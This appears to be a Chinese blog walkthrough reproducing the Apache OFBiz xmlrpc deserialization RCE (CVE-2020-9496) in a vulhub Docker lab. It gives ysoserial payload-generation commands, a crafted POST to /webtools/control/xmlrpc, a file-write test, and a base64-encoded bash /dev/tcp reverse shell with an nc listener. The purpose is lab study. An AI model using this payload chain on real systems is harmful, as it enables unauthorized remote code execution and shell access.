Apache Ofbiz xmlrpc RCE漏洞(CVE-2020-9496)复现
Apache Ofbiz xmlrpc RCE漏洞(CVE-2020-9496)复现
- |简介
Apache OFBiz全称是The ApacheOpen For Business Project,是开一个放的电子商务平台,也是一个非常著名的开源项目
- |漏洞描述
Apache ofbiz存在反序列化漏洞,攻击者可以通过未授权访问接口,构造特定的xmlrpc http请求,造成远程代码执行的影响
- |影响版本
Apache ofbiz: <17.12.04
- |搭建环境
(1)使用vulhub搭建环境,在有docker环境的虚拟机中 //没有的,先安装docker环境(apt install docker-ce、docker-compose等)
git clone https://github.com/vulhub/vulhub.git
![image-20210922163519848](https://gitee.com/Tomxssdb/blog/raw/master/img/image-20210922163519848.png)
(2)拉取项目
进入漏洞目录,使用docker-compose拉取环境,看到绿色done,说明成功
![image-20210922164247216](https://gitee.com/Tomxssdb/blog/raw/master/img/image-20210922164247216.png)
(3)在浏览器访问搭建的环境页面:https://ip:8443/myportal/control/login //注意是https
![image-20210922165332353](Apache Ofbiz xmlrpc RCE漏洞(CVE-2020-9496)复现.assets/image-20210922165332353.png)
(4)安装漏洞复现需求的环境
-
安装java环境 https://www.oracle.com/java/technologies/javase/javase-jdk8-downloads.html ,根据版本选择下载的jdk
-
创建一个文件夹,把下载好的jdk解压到文件夹中
mkdir /opt/java ==> tar xvzf jdk-8u301-linux-x64.tar.gz -C /opt/java //-C 解压至指定文件夹中
-
配置java环境变量
vim /etc/profile 末尾加上
-
export JAVA_HOME=/opt/java/jdk1.8.0_301
-
export JRE_HOME=${JAVA_HOME}/jre
-
export CLASSPATH=.:\({JAVA_HOME}/lib:\){JRE_HOME}/lib
-
export PATH=\({JAVA_HOME}/bin:\)PATH
-
-
设置完成后,source /etc/profile,重新加载配置文件
//每次重启终端后,需要执行一遍,才能加载环境变量,嫌麻烦的可以在/.zshrc(或/.bashrc,看版本),加入环境变量(这样就不需要每次都执行一遍了),如下:
java -version
ok~
-
安装maven,使用wget下载mvn
wget https://mirrors.bfsu.edu.cn/apache/maven/maven-3/3.6.3/binaries/apache-maven-3.6.3-bin.tar.gz
创建文件夹,解压
mkdir /opt/maven ==> tar xvzf apache-maven-3.6.3-bin.tar.gz -C /opt/maven
配置环境变量
vim /etc/profile 在末尾加上
-
export MAVEN_HOME=/opt/maven/apache-maven-3.6.3
-
export PATH=\(MAVEN_HOME/bin:\)PATH
mvn -version
ok~
-
- |漏洞复现
(1)在gitHub上下载java反序列化利用工具ysoserial
git clone https://github.com/frohoff/ysoserial.git
![image-20210922173728797](https://gitee.com/Tomxssdb/blog/raw/master/img/image-20210922173728797.png)
(2)进入ysoserial目录使用maven下载编译需要得包,
mvn clean package -DskipTests
![image-20210922194830555](https://gitee.com/Tomxssdb/blog/raw/master/img/image-20210922194830555.png)
编译成功,如下:
![image-20210922194414588](https://gitee.com/Tomxssdb/blog/raw/master/img/image-20210922194414588.png)
(3)可以看到ysoserial目录里面有一个target文件,进入这个目录,可以看到生成payload的工具
![image-20210922195624691](https://gitee.com/Tomxssdb/blog/raw/master/img/image-20210922195624691.png)
(4)在浏览器访问 https://ip:8443/webtools/control/xmlrpc 这个页面,并使用burp抓包,放置重放模块
![image-20210922200350307](https://gitee.com/Tomxssdb/blog/raw/master/img/image-20210922200350307.png)
页面源代码
![image-20210922221617854](Apache Ofbiz xmlrpc RCE漏洞(CVE-2020-9496)复现.assets/image-20210922221617854.png)
放置重放模块:
![image-20210922200749121](https://gitee.com/Tomxssdb/blog/raw/master/img/image-20210922200749121.png)
(5)在数据包下方加上导入xml
POST /webtools/control/xmlrpc HTTP/1.1
Host: 192.168.87.128:8443
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:92.0) Gecko/20100101 Firefox/92.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: JSESSIONID=A7A75619C87A5FB8DD5A23C4CE6F77A8.jvm1; Hm_lvt_ade42d4f682c4fca28c5f093052433c1=1631008935,1631009219,1631013070,1631015778; OFBiz.Visitor=10000
Content-Length: 4208
tom
cat
[base64-payload]
(6)尝试使用ysoserial的CommonsBeanutils1生成Payload并在tmp目录写入文件
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsBeanutils1 "touch /tmp/Tokyo" | base64 | tr -d "\n"
![image-20210922203848224](Apache Ofbiz xmlrpc RCE漏洞(CVE-2020-9496)复现.assets/image-20210922203848224.png)
或使用dnslog判断漏洞是否存在
![image-20210922223748583](https://gitee.com/Tomxssdb/blog/raw/master/img/image-20210922223748583.png)
(7)复制生成的64位编码的payload,并粘贴到burp数据包[base64-payload]这个地方,点击Go发送,到docker查看是否成功写入
![image-20210922201935361](https://gitee.com/Tomxssdb/blog/raw/master/img/image-20210922201935361.png)
(8)利用漏洞反弹shell,借用下面这个网站,对反弹shell的payload进行base64位编码
http://www.jackson-t.ca/runtime-exec-payloads.html
![image-20210922214622271](https://gitee.com/Tomxssdb/blog/raw/master/img/image-20210922214622271.png)
(9)把编码后的shell再用ysoserial工具进行一次base64编码
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsBeanutils1 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4Ljg3LjEyOC8zMzMzIDA+JjE=}|{base64,-d}|{bash,-i}" | base64 | tr -d "\n"
![image-20210922215145159](https://gitee.com/Tomxssdb/blog/raw/master/img/image-20210922215145159.png)
(10)nc设置监听,把生成的exp放入到burp的数据包中发送,查看nc监听以返回shell
![image-20210922215314476](https://gitee.com/Tomxssdb/blog/raw/master/img/image-20210922215314476.png)
![image-20210922215946112](Apache Ofbiz xmlrpc RCE漏洞(CVE-2020-9496)复现.assets/image-20210922215946112.png)
-
|修复建议
1、升级为最新版本